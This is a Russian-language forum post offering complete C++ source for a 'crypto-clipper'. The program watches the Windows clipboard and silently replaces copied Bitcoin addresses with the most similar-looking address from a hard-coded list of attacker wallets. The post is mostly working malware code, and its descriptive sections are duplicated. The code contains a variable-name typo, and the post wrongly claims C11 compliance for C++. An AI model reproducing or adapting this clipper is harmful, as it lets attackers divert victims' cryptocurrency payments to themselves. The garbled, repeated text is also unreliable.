devqp
Специалист
Представлена реализация вредоносного ПО типа "крипто-клиппер" на C++. Программа постоянно мониторит буфер обмена Windows и автоматически заменяет обнаруженные биткоин-адреса на адреса злоумышленника, используя алгоритм сравнения строк.
Принцип работы:
1. Циклическая проверка буфера обмена с интервалом 500 мс
2. Обнаружение адресов через регулярное выражение:
3. Для каждого найденного адреса вычисляется расстояние Левенштейна до пресетов
4. Замена на наиболее похожий адрес из заданного списка
5. Автоматическое обновление содержимого буфера обмена
Ключевые функции:
• levenshteinDistance() – вычисление минимального редакционного расстояния
• CheckBit() – поиск и замена адресов с последующей установкой в буфер
• setClipboard() – низкоуровневая работа с WinAPI Clipboard
Полный код:
Технические особенности:
• Реализация на C++ с использованием WinAPI
• Соответствие стандарту C11
• Алгоритм Левенштейна для минимизации визуальных отличий
• Глобальная переменная globbuff для отслеживания изменений
• Задержка 500 мс в основном цикле для снижения нагрузки
Принцип работы:
1. Циклическая проверка буфера обмена с интервалом 500 мс
2. Обнаружение адресов через регулярное выражение:
Код:
(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})
4. Замена на наиболее похожий адрес из заданного списка
5. Автоматическое обновление содержимого буфера обмена
Ключевые функции:
• levenshteinDistance() – вычисление минимального редакционного расстояния
• CheckBit() – поиск и замена адресов с последующей установкой в буфер
• setClipboard() – низкоуровневая работа с WinAPI Clipboard
Полный код:
Код:
#define NOMINMAX
#include <windows.h>
#include <iostream>
#include <regex>
#include <string>
#include <vector>
#include <algorithm>
#include <limits>
std::string globbuff = "";
int levenshteinDistance(const std::string& s1, const std::string& s2) {
const int len1 = s1.size();
const int len2 = s2.size();
std::vector<std::vector<int>> dp(len1 + 1, std::vector<int>(len2 + 1, 0));
for (int i = 0; i <= len1; ++i) {
for (int j = 0; j <= len2; ++j) {
if (i == 0) dp[i][j] = j;
else if (j == 0) dp[i][j] = i;
else if (s1[i-1] == s2[j-1]) dp[i][j] = dp[i-1][j-1];
else dp[i][j] = 1 + std::min({dp[i-1][j], dp[i][j-1], dp[i-1][j-1]});
}
}
return dp[len1][len2];
}
bool setClipboard(const std::string& s) {
if (!OpenClipboard(nullptr)) return false;
EmptyClipboard();
HGLOBAL hg = GlobalAlloc(GHND, s.size() + 1);
if (!hg) {
CloseClipboard();
return false;
}
char* globalLock = static_cast<char*>(GlobalLock(hg));
memcpy(globalLock, s.c_str(), s.size());
GlobalUnlock(hg);
if (!SetClipboardData(CF_TEXT, hg)) {
CloseClipboard();
return false;
}
CloseClipboard();
return true;
}
void CheckBit(std::string& text) {
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39}))");
std::smatch matches;
size_t lastPos = 0;
while (true) {
std::string tempText = text.substr(lastPos);
if (!std::regex_search(tempText, matches, bitcoinRegex)) break;
std::string k = matches[0].str();
std::vector<std::string> texts = {
"1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L",
"3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy",
"1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L",
"bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
};
int minDistance = std::numeric_limits<int>::max();
std::string closestText;
for (const std::string& t : texts) {
int distance = levenshteinDistance(k, t);
if (distance < minDistance) {
minDistance = distance;
closestText = t;
}
}
size_t startPos = text.find(k, lastPos);
if (startPos != std::string::npos) {
text.replace(startPos, k.length(), closestText);
lastPos = startPos + closestText.length();
} else break;
}
setClipboard(text);
globbuff = text;
}
int main() {
while (true) {
if (OpenClipboard(NULL)) {
HANDLE hData = GetClipboardData(CF_TEXT);
if (hData != NULL) {
char* pszText = static_cast<char*>(GlobalLock(hData));
if (pszText != NULL) {
std::string clipboardText = pszText;
GlobalUnlock(hData);
if (clipboardText != globbuff) CheckBit(clboardText);
}
}
CloseClipboard();
}
Sleep(500);
}
return 0;
}
Технические особенности:
• Реализация на C++ с использованием WinAPI
• Соответствие стандарту C11
• Алгоритм Левенштейна для минимизации визуальных отличий
• Глобальная переменная globbuff для отслеживания изменений
• Задержка 500 мс в основном цикле для снижения нагрузки